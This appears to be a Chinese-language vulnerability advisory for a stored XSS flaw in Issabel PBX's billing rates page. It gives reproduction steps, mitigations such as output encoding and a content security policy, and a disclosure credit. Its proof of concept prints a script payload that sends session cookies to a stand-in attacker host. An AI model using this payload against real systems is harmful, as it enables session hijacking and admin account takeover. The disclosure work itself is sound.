CVE-2023-37189 — Issabel PBX 4.0.0-6 存储型跨站脚本（XSS）

概述

描述

在 Issabel PBX 4.0.0-6 版本的计费费率管理页面（index.php?menu=billing_rates）中存在一个**存储型跨站脚本（XSS）**漏洞。

Issabel PBX 是一款基于 FreePBX/Asterisk 构建的广泛使用的开源统一通信平台。其 计费 → 费率 功能允许管理员自定义呼叫费率条目，包含名称和前缀字段。由于对输入进行了不充分的清理和输出编码不足，已认证的攻击者可以在任一字段中注入任意 HTML 或 JavaScript。恶意脚本会被持久存储在应用数据库中，并在任何后续访问费率页面的用户（包括其他管理员）的浏览器中自动执行，无需任何额外交互。

此类漏洞在管理面板中尤其危险，原因如下：

• 可用于劫持其他管理员的会话 Cookie，从而导致完全接管账户。
• 能够通过修改向受害者提供的页面外观实现钓鱼攻击。
• 可促进 CSRF 令牌窃取、键盘记录或重定向至恶意站点。
• 载荷在显式删除前一直存在，因此可以随时间影响无限数量的受害者。

漏洞详情

• 漏洞类别： 存储型（持久型）跨站脚本（CWE-79）
• 攻击向量： 网络
• 所需认证： 是（低权限已认证用户或管理员账户）
• 用户交互： 需要（受害者必须访问计费费率页面）
• 影响范围： 已改变（攻击者可影响其他用户的浏览器会话）
• 根本原因： 在将存储的值渲染回页面时，对 Name 和 Prefix 字段缺少 HTML 编码 / 输出净化。

概念验证

以下载荷在输入到 创建新费率 表单的 Name 或 Prefix 字段时，可证明漏洞的存在：

基础弹窗（功能验证）：

<script>alert('XSS')</script>

会话 Cookie 窃取 (请将 attacker.example.com 替换为您拥有且获授权的服务器——切勿针对真实用户或系统)：

<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

基于图片 onerror 的载荷（绕过 WAF）：

⚠️ 注意： 这些载荷仅用于教育和安全研究目的。在对任何非您拥有的系统进行测试前，请务必获得适当的书面授权。

复现步骤

1. 使用管理员账户登录 Issabel PBX Web 界面。

2. 导航至 报表 → 计费 → 费率（URL：index.php?menu=billing_rates）。

3. 点击 "创建新费率"，并在 Prefix 或 Name 字段中输入构造好的 XSS 载荷。

   

4. 点击 保存。载荷现在已存储在数据库中。

5. 任何访问计费费率页面的用户（包括其他管理员）的浏览器都会自动执行该脚本。

   

   

影响

• 会话劫持： 攻击者可窃取会话 Cookie 并冒充其他用户或管理员。
• 权限提升： 通过劫持管理员会话，低权限攻击者可获得完全管理控制权。
• 数据窃取： 页面上可见的敏感信息可被静默窃取。
• 持久后门： 载荷在手动移除前一直有效，构成持续威胁。

缓解 / 修复措施

建议厂商和系统管理员采取以下应对措施：

1. 输出编码： 在将存储的值渲染回 HTML 页面时应用上下文感知的 HTML 编码（例如在 PHP 中使用带有 ENT_QUOTES 标志的 htmlspecialchars()）。这是针对 XSS 的主要且最可靠的防御手段。
2. 输入验证： 作为深度防御的第二道防线，在服务器端拒绝或净化用户提供的输入。在存储数据之前剥离或编码 HTML 特殊字符（<、>、"、'、&）。请注意，仅靠输入验证可能被绕过，不应将其作为唯一控制手段。
3. 内容安全策略（CSP）： 部署严格的 Content-Security-Policy HTTP 标头，限制内联脚本的执行。
4. Web 应用防火墙（WAF）： 使用带有 XSS 检测规则的 WAF 作为深度防御措施。
5. 定期安全审计： 对所有用户控制的输入字段进行定期的代码审查和渗透测试。

参考资料

• NVD – CVE-2023-37189
• MITRE CVE – CVE-2023-37189
• OWASP：跨站脚本（XSS）
• CWE-79：网页生成过程中输入清理不当
• Issabel PBX – 官方网站
• IssabelFoundation/issabelPBX – GitHub

免责声明

本仓库及其包含的信息仅用于教育和安全研究目的。作者对因使用所提供信息而导致的任何误用或损坏概不负责。在开展任何安全测试之前，请务必获得系统所有者的明确书面许可。

由 Sahil Ojha 发现并报告